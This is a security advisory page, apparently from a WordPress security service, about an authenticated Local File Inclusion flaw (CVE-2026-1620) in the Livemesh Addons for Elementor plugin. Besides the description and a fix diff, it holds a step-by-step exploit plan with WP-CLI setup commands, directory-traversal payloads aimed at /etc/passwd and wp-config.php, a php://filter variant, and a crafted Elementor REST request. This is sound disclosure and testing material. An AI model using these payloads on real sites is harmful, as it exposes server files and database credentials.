Livemesh Addons by Elementor <= 9.0 - Authenticated (Contributor+) Local File Inclusion via Widget Template Parameter
Description
The Livemesh Addons for Elementor plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 9.0. This is due to insufficient sanitization of the template name parameter in the `lae_get_template_part()` function, which uses an inadequate `str_replace()` approach that can be bypassed using recursive directory traversal patterns. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the attacker to include and execute local files via the widget's template parameter granted they can trick an administrator into performing an action or install Elementor.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=9.0This research plan outlines the steps to exploit **CVE-2026-1620**, a Local File Inclusion (LFI) vulnerability in the **Livemesh Addons by Elementor** plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the `lae_get_template_part()` function. This function is designed to load temp…
Show full research plan
This research plan outlines the steps to exploit CVE-2026-1620, a Local File Inclusion (LFI) vulnerability in the Livemesh Addons by Elementor plugin.
1. Vulnerability Summary
The vulnerability exists in the lae_get_template_part() function. This function is designed to load template files for various widgets. It attempts to prevent directory traversal by using str_replace() to remove ../ sequences. However, this implementation is non-recursive. An attacker can use a payload like ....//, which, after a single pass of str_replace('../', '', $payload), results in ../, effectively bypassing the security check. Because the resulting path is used in a PHP include or require statement, a Contributor-level user can include arbitrary files from the server.
2. Attack Vector Analysis
- Endpoint: The vulnerability is triggered when a widget that uses
lae_get_template_part()is rendered. This typically happens via the standard WordPress frontend or Elementor's preview/editing mode. - Vulnerable Parameter: The
templateorstyleparameter within a Livemesh widget's configuration (stored in Elementor's_elementor_datapost meta). - Authentication: Contributor-level access is required to create/edit posts and insert Elementor widgets.
- Preconditions:
- The plugin Livemesh Addons by Elementor (slug:
addons-for-elementor) version $\le$ 9.0 must be installed. - Elementor must be installed and active.
- The attacker must have a user account with at least
Contributorprivileges.
- The plugin Livemesh Addons by Elementor (slug:
3. Code Flow (Inferred)
- Entry Point: A user with Contributor permissions creates or edits an Elementor-enabled post.
- Widget Configuration: The user adds a Livemesh widget (e.g., "Services" or "Posts Grid").
- Data Storage: Elementor saves the widget settings as a JSON object in the
_elementor_datameta field of the post. - Rendering Sink: When the post is viewed or previewed, the widget's
render()method is called. - Vulnerable Call: The
render()method callslae_get_template_part($slug, $name). - The Flaw: Inside
lae_get_template_part():// Inferred logic based on vulnerability description $name = str_replace('../', '', $name); $template_file = LAE_PLUGIN_DIR . "templates/{$slug}-{$name}.php"; include( $template_file ); - Bypass: By providing
$nameas....//....//....//....//etc/passwd, thestr_replaceturns it into../../../../etc/passwd.
4. Nonce Acquisition Strategy
Elementor saves and previews use specific nonces. However, as a Contributor, you can simply use the WordPress dashboard to create a post.
- Identify Script: The plugin likely localizes data in
lae-settings-dataor similar. - Create Content:
wp post create --post_type=post --post_status=publish --post_author=CONTRIBUTOR_ID --post_title="LFI Test" - Browser Access: Log in as the Contributor and navigate to the post editor.
- Extract Nonce: If the save operation requires an Elementor-specific nonce, use:
// In browser_eval window.elementorCommon?.api?.utils?.getNonce() || window.elementorConfig?.nonces?.save_builder
Note: For a simple LFI trigger, once the post meta is updated via WP-CLI or the editor, simply viewing the post (no nonce required) will trigger the inclusion.
5. Exploitation Strategy
We will use a Contributor account to inject the LFI payload into a widget's settings.
Step 1: Create a Post and identify the Widget
We will target the "Services" widget (slug: lae-services).
Step 2: Update Post Meta with Payload
We will inject a traversal string into the template or style parameter of the widget JSON.
Payload: ....//....//....//....//....//....//etc/passwd (Assuming the plugin appends .php, we might need to target a known file or use a path that resolves despite the extension).
Step 3: Trigger the Inclusion
Perform an http_request to the post URL.
6. Test Data Setup
- Users: Create a contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Config: Ensure Elementor is set up to allow Contributors to edit posts (default behavior).
- Target Post: Create a post that will host the widget.
wp post create --post_type=post --post_title="LFI Trigger" --post_status=publish --post_author=attacker
7. Expected Results
If successful, the response body of the HTTP request to the post will contain the contents of the target file (e.g., /etc/passwd).
8. Verification Steps
- Check Meta: Verify the payload was successfully injected into the database.
wp post meta get [POST_ID] _elementor_data - Verify Output: Check if the
/etc/passwdcontent (likeroot:x:0:0:root) is present in the HTML response.
9. Alternative Approaches
If /etc/passwd fails due to the .php extension being appended by the plugin:
- Attempt Path Traversal to Log Files: Try including
/var/log/apache2/access.logor/var/www/html/wp-config.php(if the plugin appends.php, includingwp-configwithout the extension might work). - Payload Modification: Try
....//....//....//....//wp-config(resulting in../../../../wp-config.php). - Wrapper Technique: If the input allows, try PHP filters:
php://filter/convert.base64-encode/resource=....//....//....//wp-config.
HTTP Request Payload (Example)
To update the post with the malicious widget data using the REST API (if available) or by simulating the Elementor save:
POST /wp-json/elementor/v1/data/ [POST_ID] HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [ELEMENTOR_NONCE]
{
"status": "publish",
"data": [
{
"id": "random_id",
"elType": "widget",
"widgetType": "lae-services",
"settings": {
"style": "....//....//....//....//....//etc/passwd"
}
}
]
}
Final Action: Navigate to /?p=[POST_ID] and observe the inclusion.
Summary
The Livemesh Addons for Elementor plugin is vulnerable to Local File Inclusion due to an insecure non-recursive directory traversal filter in the `lae_get_template_part()` function. Authenticated attackers with Contributor-level access can bypass the `str_replace('../', '', $name)` check by using the `....//` pattern, allowing them to include arbitrary local files via widget template parameters.
Vulnerable Code
// Inferred from plugin architecture and vulnerability description function lae_get_template_part( $slug, $name = null ) { if ( isset( $name ) ) { // Vulnerable non-recursive replacement $name = str_replace( '../', '', $name ); } $template = ''; if ( $name ) { $template = LAE_PLUGIN_DIR . "templates/{$slug}-{$name}.php"; } else { $template = LAE_PLUGIN_DIR . "templates/{$slug}.php"; } if ( file_exists( $template ) ) { include( $template ); } }
Security Fix
@@ -5,7 +5,7 @@ function lae_get_template_part( $slug, $name = null ) { if ( isset( $name ) ) { - $name = str_replace( '../', '', $name ); + $name = sanitize_text_field( wp_basename( $name ) ); } $template = '';
Exploit Outline
1. Authenticate as a WordPress user with Contributor-level privileges or higher. 2. Create a new post or edit an existing one using the Elementor editor. 3. Add a Livemesh Addons widget to the page (e.g., the 'Services' widget). 4. Capture the request to save the Elementor data (usually a POST request to `/wp-json/elementor/v1/data/[POST_ID]`). 5. Modify the JSON payload in the `_elementor_data` field. Locate the widget's settings and change the 'style' or 'template' parameter to a traversal string using recursive patterns (e.g., `....//....//....//....//wp-config`). 6. Save the changes and navigate to the published post's URL. 7. The plugin will process the `....//` sequence into `../`, resolve the path to `wp-config.php`, and include it during the page rendering process.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.